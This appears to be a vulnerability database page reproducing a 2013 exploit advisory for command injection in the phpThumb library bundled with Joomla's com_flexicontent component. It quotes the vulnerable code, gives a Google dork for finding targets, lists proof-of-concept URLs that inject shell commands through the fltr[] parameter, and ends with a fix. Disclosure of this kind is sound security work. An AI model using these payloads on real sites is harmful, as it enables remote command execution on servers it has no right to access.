| Reporter | Title | Published | Views | Family All 9 |
|---|---|---|---|---|
| Joomla Flexicontent Remote Code Execution Vulnerability | 8 Dec 201300:00 | – | zdt | |
| CVE-2010-1598 | 29 Apr 201016:00 | – | cve | |
| CVE-2010-1598 | 29 Apr 201016:00 | – | cvelist | |
| EUVD-2010-1624 | 7 Oct 202500:30 | – | euvd | |
| CVE-2010-1598 | 29 Apr 201016:30 | – | nvd | |
| phpThumb < 1.7.9 Command Injection Vulnerability | 11 Nov 201000:00 | – | openvas | |
| phpThumb 'fltr[]' Parameter Command Injection Vulnerability | 11 Nov 201000:00 | – | openvas | |
| Information disclosure | 29 Apr 201016:30 | – | prion | |
| Joomla com_flexicontent远程代码执行漏洞 | 8 Jan 201400:00 | – | seebug |
`# Exploit Title: Joomla com_flexicontent Remote Code Execution
# Release Date: 08/12/2013
# Author: Deepankar Arora And Rafay Baloch
# Contact: http://rafayhackingarticles.net
# Vendor: http://www.flexicontent.org/
# Versions Affected: 2.1.3(Latest) and earlier
# Google Dork: inurl:com_flexicontent
*----*
*Description:*
The vulnerability with phpthumb with a known vulnerability, however it has
been included with com_flexicontent package.
The exploit is nested in the "SafeExec" function, but the vulnerable
parameter is passed to "ImageMagickThumbnailToGD".
The vulnerable code is as follows:
foreach ($this->fltr as $filterkey => $filtercommand) {
@list($command, $parameter) = explode('|', $filtercommand, 2);
switch ($command) {
case 'blur':
if ($this->ImageMagickSwitchAvailable('blur')) {
@list($radius) = explode('|', $parameter);
$radius = ($radius ? $radius : 1);
$commandline .= ' -blur '.$radius;
unset($this->fltr[$filterkey]);
}
break;
$this->DebugMessage('ImageMagick called as ('.$commandline.')', __FILE__,
__LINE__);
$IMresult = phpthumb_functions::SafeExec($commandline);
clearstatcache();
if (@$IMtempSourceFilename && file_exists($IMtempSourceFilename)) {
@unlink($IMtempSourceFilename);
}
if (!@file_exists($IMtempfilename) || !@filesize($IMtempfilename)) {
$this->FatalError('ImageMagick failed with message
('.trim($IMresult).')');
$this->DebugMessage('ImageMagick failed with message
('.trim($IMresult).')', __FILE__, __LINE__);
Here the vulnerable parameter is fltr[] as the params passed is exploded by
the pipe (|) character, and that's where the code is passed.
How the command is processed:
$output = array();
$lastline = $execfunction($command, $output);
$returnvalue = implode("\n", $output);
As we can see the $command parameter is compiled with the imagemagick path,
filename and parameters. Even the phpThumbDebug parameter gives us a
console like account of everything imagemagick does as it executes.
*----*
*POC:*
*Windows-
/components/com_flexicontent/librairies/phpthumb/phpThumb.php?src=file.jpg&fltr[]=blur|9
-quality 75 -interlace line fail.jpg jpeg:fail.jpg %26%26 dir %26%26
&phpThumbDebug=9
*nix-
/components/com_flexicontent/librairies/phpthumb/phpThumb.php?src=file.jpg&fltr[]=blur|9
-quality 75 -interlace line fail.jpg jpeg:fail.jpg ; ls -l ;
&phpThumbDebug=9
*----*
*Fix:*
Replace the phpthumb package being used with the latest version.
*----*
*References:*
http://www.cvedetails.com/cve/CVE-2010-1598/
*----*
Warm Regards,
Deepankar Arora and Rafay Baloch
RHA Infosec
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation